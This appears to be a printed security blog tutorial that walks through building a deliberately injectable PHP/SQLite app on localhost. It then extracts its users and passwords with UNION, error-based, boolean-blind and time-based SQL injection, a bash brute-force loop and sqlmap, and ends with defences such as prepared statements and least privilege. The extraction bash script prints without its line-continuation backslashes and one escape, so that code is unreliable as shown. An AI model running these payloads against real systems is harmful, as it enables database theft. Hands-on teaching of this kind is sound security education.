Print-ready version Back to the article
HMMNM Security
hmmnm.com

Security

SQL Injection Hands-On Lab: From Error-Based to Blind Extraction Against Your Own Lab

By Prabhu Kalyan Samal | Published 4 December 2026 | 8 min read

https://hmmnm.com/sql-injection-hands-on-lab-from-error-based-to-blind/

8 min read · 1,501 words

TL;DR: SQL injection remains a top web vulnerability because string concatenation into queries is still everywhere. In this lab you’ll build a deliberately vulnerable PHP+SQLite app, extract data with UNION-based, error-based, boolean-blind, and time-based techniques, verify with sqlmap, then lock it down with prepared statements and a least-privilege database user.

Authorization Note — Read First

Every technique in this article is performed against an application you build on your own machine. Running these attacks against any system you do not own or have explicit written permission to test is illegal in most jurisdictions, regardless of intent. Keep the lab bound to 127.0.0.1, and treat this as practice for the eJPT/CEH-style hands-on exams, not as a license to probe live sites.

Lab Setup: The Vulnerable One-File App

You need PHP with the SQLite3 extension. On Debian/Ubuntu:

sudo apt update && sudo apt install -y php-cli php-sqlite3 curl
php -v          # expect PHP 8.x
php -m | grep -i sqlite   # expect sqlite3 (and pdo_sqlite)

Create lab/index.php — a deliberately vulnerable shop app:

<?php
// VULNERABLE LAB - local use only
$db = new SQLite3(__DIR__.'/shop.db');
$db->exec("CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username TEXT, password TEXT, is_admin INTEGER)");
$db->exec("CREATE TABLE IF NOT EXISTS products(id INTEGER PRIMARY KEY, name TEXT, price REAL)");
$db->exec("INSERT OR IGNORE INTO users VALUES(1,'admin','s3cretP@ss',1),(2,'bob','hunter2',0)");
$db->exec("INSERT OR IGNORE INTO products VALUES(1,'Widget',9.99),(2,'Gadget',24.50)");

$id = $_GET['id'] ?? '1';
// VULNERABLE: direct interpolation
$q = "SELECT id, name, price FROM products WHERE id = $id";
$res = $db->query($q);
echo "<h2>Product</h2>";
while ($row = $res->fetchArray(SQLITE3_ASSOC)) {
    echo implode(' | ', $row) . "<br>";
}
if ($db->lastErrorCode()) echo "ERROR: " . $db->lastErrorMsg();

Start the server bound to localhost only:

php -S 127.0.0.1:8000 -t lab/

Verify it works, then confirm injection:

curl 'http://127.0.0.1:8000/index.php?id=1'
# 1 | Widget | 9.99

curl 'http://127.0.0.1:8000/index.php?id=1%20OR%201=1'
# 1 | Widget | 9.99
# 2 | Gadget | 24.50     ← both rows: injection confirmed

Error-Based Reconnaissance

SQLite’s error messages leak structure. Send a malformed payload and read the response:

curl 'http://127.0.0.1:8000/index.php?id=1%20UNION%20SELECT'
# ERROR: incomplete input

Count columns by testing UNION arity:

curl -s 'http://127.0.0.1:8000/index.php?id=1%20UNION%20SELECT%201'
# ERROR: SELECTs to the left and right of UNION do not have the same number of result columns

curl -s 'http://127.0.0.1:8000/index.php?id=1%20UNION%20SELECT%201,2'
# same error

curl -s 'http://127.0.0.1:8000/index.php?id=1%20UNION%20SELECT%201,2,3'
# 1 | Widget | 9.99       ← 3 columns

Confirm which columns render in output (columns 2 and 3 are reflected here):

curl -s 'http://127.0.0.1:8000/index.php?id=-1%20UNION%20SELECT%201,%27INJ2%27,%27INJ3%27'
# INJ2 | INJ3

The -1 (a nonexistent product ID) makes the original query return nothing so only your injected row appears. Enumerate the schema via the sqlite_master table:

curl -s 'http://127.0.0.1:8000/index.php?id=-1%20UNION%20SELECT%201,name,sql%20FROM%20sqlite_master'
# users | CREATE TABLE users(id INTEGER PRIMARY KEY, username TEXT, password TEXT, is_admin INTEGER)
# products | CREATE TABLE products(...)

UNION-Based Extraction

With 3 columns and reflection on columns 2–3, dump the users table directly in the URL:

curl -s 'http://127.0.0.1:8000/index.php?id=-1%20UNION%20SELECT%201,username,password%20FROM%20users'
# admin | s3cretP@ss
# bob | hunter2

Use group_concat to collapse everything into one row:

curl -s 'http://127.0.0.1:8000/index.php?id=-1%20UNION%20SELECT%201,group_concat(username),group_concat(password)%20FROM%20users'
# admin,bob | s3cretP@ss,hunter2

In MySQL/MariaDB labs, the equivalent schema discovery is information_schema.tables and information_schema.columns; SQLite uses sqlite_master as shown above.

Boolean-Based Blind Extraction

Imagine the app prints only “Product found” / “Not found” — no data reflected. You can still extract data one bit at a time with true/false conditions. Test the oracle:

curl -s 'http://127.0.0.1:8000/index.php?id=1%20AND%201=1' | head -2
# 1 | Widget | 9.99          ← true condition shows data

curl -s 'http://127.0.0.1:8000/index.php?id=1%20AND%201=2' | head -2
# (empty)                    ← false condition suppresses output

Now ask yes/no questions about hidden data — is the first character of the admin password an ‘s’?

curl -s 'http://127.0.0.1:8000/index.php?id=1%20AND%20(SELECT%20unicode(substr(password,1,1)%20FROM%20users%20WHERE%20username=%27admin%27))=115' | head -1
# 1 | Widget | 9.99     ← true: first char is ASCII 115 = 's'

Automate the full extraction with a short bash loop:

#!/bin/bash
URL='http://127.0.0.1:8000/index.php'
pw=''
for pos in $(seq 1 10); do
  for c in $(seq 32 126); do
    if curl -s -G "$URL" --data-urlencode 
      "id=1 AND (SELECT unicode(substr(password,$pos,1) FROM users WHERE username='admin'))=$c" 
      | grep -q Widget; then
      pw+=$(printf "\x$(printf %02x $c)")
      echo "char $pos: $(printf "x$(printf %02x $c)")"
      break
    fi
  done
done
echo "password: $pw"
# Expected output ends with: password: s3cretP@ss

Time-Based Blind Extraction

When the page output never changes, you measure response latency instead. SQLite has no SLEEP(), but recursive CTEs burn CPU reliably:

time curl -s 'http://127.0.0.1:8000/index.php?id=1%20AND%20(WITH%20RECURSIVE%20t(x)%20AS%20(SELECT%201%20UNION%20ALL%20SELECT%20x+1%20FROM%20t%20LIMIT%209999999)%20SELECT%20count(*)%20FROM%20t)'
# real 0m1.4s   ← deliberate delay when condition is true

time curl -s 'http://127.0.0.1:8000/index.php?id=1%20AND%201=2%20AND%20(WITH%20RECURSIVE%20t(x)%20AS%20(SELECT%201%20UNION%20ALL%20SELECT%20x+1%20FROM%20t%20LIMIT%209999999)%20SELECT%20count(*)%20FROM%20t)'
# real 0m0.01s  ← fast when false

Wrap the boolean condition the same way as before: prefix the recursive-CTE delay with your yes/no test, then threshold the timing. (In MySQL labs this is simply AND IF(condition, SLEEP(3), 0).) Time-based extraction is slow — expect a 10-character password to take minutes — which is why it’s the fallback, not the default.

Verifying With sqlmap

Use sqlmap to confirm what you found manually. Keep it pointed at your lab:

sqlmap -u 'http://127.0.0.1:8000/index.php?id=1' --batch --banner

# ---
# Parameter: id (GET)
#     Type: boolean-based blind
#     Payload: id=1 AND 3501=3501
#     Type: UNION query
#     Payload: id=-2891 UNION ALL SELECT 1,2,3--
# ---

Dump the database to validate your manual results:

sqlmap -u 'http://127.0.0.1:8000/index.php?id=1' --batch --dump

# Database: SQLite_master
# Table: users  Entries: 2
# 1  admin  s3cretP@ss  1
# 2  bob    hunter2     0

Useful flags for exams and labs:

Treat sqlmap as verification, not a substitute for understanding. Exams (and real assessments) will include cases where tampering is blocked and you must reason manually.

Defense 1: Prepared Statements

The root cause is interpolating user input into SQL text. Parameterized queries separate code from data, so input can never change query structure:

<?php
$id = $_GET['id'] ?? '1';
$stmt = $db->prepare('SELECT id, name, price FROM products WHERE id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$res = $stmt->execute();

Re-test the payload — it now returns nothing or an error-free empty page:

curl -s 'http://127.0.0.1:8000/index.php?id=1%20OR%201=1'
# (no rows — '1 OR 1=1' is coerced to integer 1, or rejected by validation)

Prepared statements fix this endpoint. Any place data still gets concatenated — table names, ORDER BY clauses — needs an allowlist instead:

$allowed = ['name', 'price'];
$sort = in_array($_GET['sort'] ?? '', $allowed, true) ? $_GET['sort'] : 'name';

Defense 2: Least-Privilege Database User

Assume injection slips through anyway: the application’s DB account should not be able to do more than read and write exactly what the app needs. In a MySQL lab:

CREATE USER 'shopapp'@'localhost' IDENTIFIED BY 'Strong#Pass1';
GRANT SELECT, INSERT, UPDATE ON shop.products TO 'shopapp'@'localhost';
GRANT SELECT ON shop.catalog_view TO 'shopapp'@'localhost';
FLUSH PRIVILEGES;

This turns “dump the whole database” into “read two tables.” In SQLite there’s no built-in user system — compensate by file permissions (chmod 640 shop.db, separate DB per app) and, at scale, by moving to a client/server database with real grants.

Defense 3: WAFs and Their Limits

A WAF can block obvious payloads like UNION SELECT and rate-limit suspicious parameter probing. Test a ModSecurity-style rule locally if you run one:

curl -s 'http://127.0.0.1:8000/index.php?id=1%20UNION%20SELECT%201,2,3'
# 403 Forbidden (with WAF enabled)

Do not rely on it. WAFs are bypassable with encoding, comment obfuscation, and application-specific tricks; parameterization remains the only complete fix. Layer defenses: prepared statements (fix), least privilege (containment), WAF (noise reduction and velocity control), plus parameterized-query checks in code review and SAST in CI.

Defender Takeaways

HMMNM Security · Independent security research and education · hmmnm.com
Printed from https://hmmnm.com/sql-injection-hands-on-lab-from-error-based-to-blind/
© 2026 HMMNM Security. For personal and internal team use. Please link to the original article when sharing.